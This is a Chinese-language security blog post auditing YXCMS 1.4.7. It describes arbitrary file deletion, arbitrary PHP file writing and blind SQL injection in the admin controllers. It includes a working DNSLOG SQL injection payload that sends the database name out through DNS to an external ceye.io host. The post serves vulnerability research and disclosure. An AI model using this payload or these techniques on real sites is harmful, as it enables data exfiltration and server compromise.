Hu3sky's blog

YXCMS 1.4.7

Word count: 864 / Reading time: 3 min
2018/09/12 Share

CMS说明

Yxcms是一款高效,灵活,实用,免费的企业建站系统,基于PHP和mysql技术,让您拥有更加专业的企业建站和企业网站制作服务

这个cms采用mvc框架,入口文件为index.php,后台功能url为/index.php?r=admin/控制器/方法

任意文件删除

定位到photo控制器,此控制器对图片进行处理,对应的文件为photoController.php,在\protected\apps\admin\controller下。
漏洞发生在第355行的delpic()方法

可以看到,需要我们post传入一个picname,虽然说这里要求我们删除图片用file_exists对文件进行检测,但是,并没有对我们传入的文件进行检测,也没用对.,/进行过滤,存在就直接删除。所以就导致可以进行任意文件删除。

漏洞验证

这里我将install.lock删除

post后,虽然会提示缩略图不存在,但是文件已经成功删除

任意文件写入

定位到set控制器的tpadd方法,该方法对模板文件进行修改,对应的文件为setController.php,在\protected\apps\admin\controller下。tpadd方法在140行

首先,对我们传入的Mname参数进行判断,如果为空,就会error提示 非法操作。所以我们传入一个default模板。http://127.0.0.1/cms/YXcms/index.php?r=admin/set/tpadd&Mname=default

可以看到 我们只能添加php文件,而且对于文件的内容,仅用stripcslashes()函数进行了处理,官方手册给出的解释是:返回反转义后的字符串,也就是去掉转义符号,一般来说是\

漏洞验证

创建一个hu3sky.php

调试看一下文件路径

然后访问

SQL注入

定位到fragment控制器的del方法,对应的文件为fragmentController.php,在\protected\apps\admin\controller下。del方法在63行

由于我们会POST,所以跟到else里,首先用implode()函数进行处理,该函数将一个一维数组的值转化为字符串,接着调用delete方法进行删除。
跟进到delete方法。在protected\base\model\model.php里的第45行

再跟进delete().该方法在protected\include\core\cpModel.class.php的第146行。

可以看到sql语句并没有单引号进行包裹。
继续跟进_parseCondition() 在当前文件的第223行,对解析条件进行了说明

继续跟进
在该文件的第36行发现了对解析条件的处理

用全局搜索parseCondition(),发现在protected\include\core\db\cpMysql.class.php中第128行定义了该函数

第136行调用了escape()对value进行处理。
继续跟进escape()

发现只有当我们传入的值为数组的时候,才会用mysql_real_escape_string()函数进行处理。由于注入语句并没有单引号包裹,所以说可以直接进行注入,但是没有页面的回显,可以用DNSLOG进行注入

漏洞验证

首先需要去 http://ceye.io 注册一个账号,这里我接收DNS请求的连接为2c4lgt.ceye.io
然后,在http://127.0.0.1/cms/YXcms/index.php?r=admin/fragment/index页面。对某一个id进行删除

获取数据库的payload为1 and if((select load_file(concat('\\\\',(select database()),'.2c4lgt.ceye.io\\abc'))),1,1)--+
然后抓包将id改为payload
接着就会在DNS请求中获得外带数据

#参考文章
https://www.jianshu.com/p/95c814c515a2 【SQL注入奇巧淫技——利用DNSLOG获取看不到的信息(给盲注带上眼镜)】

CATALOG
  1. 1. CMS说明
  2. 2. 任意文件删除
    1. 2.1. 漏洞验证
  3. 3. 任意文件写入
    1. 3.1. 漏洞验证
  4. 4. SQL注入
    1. 4.1. 漏洞验证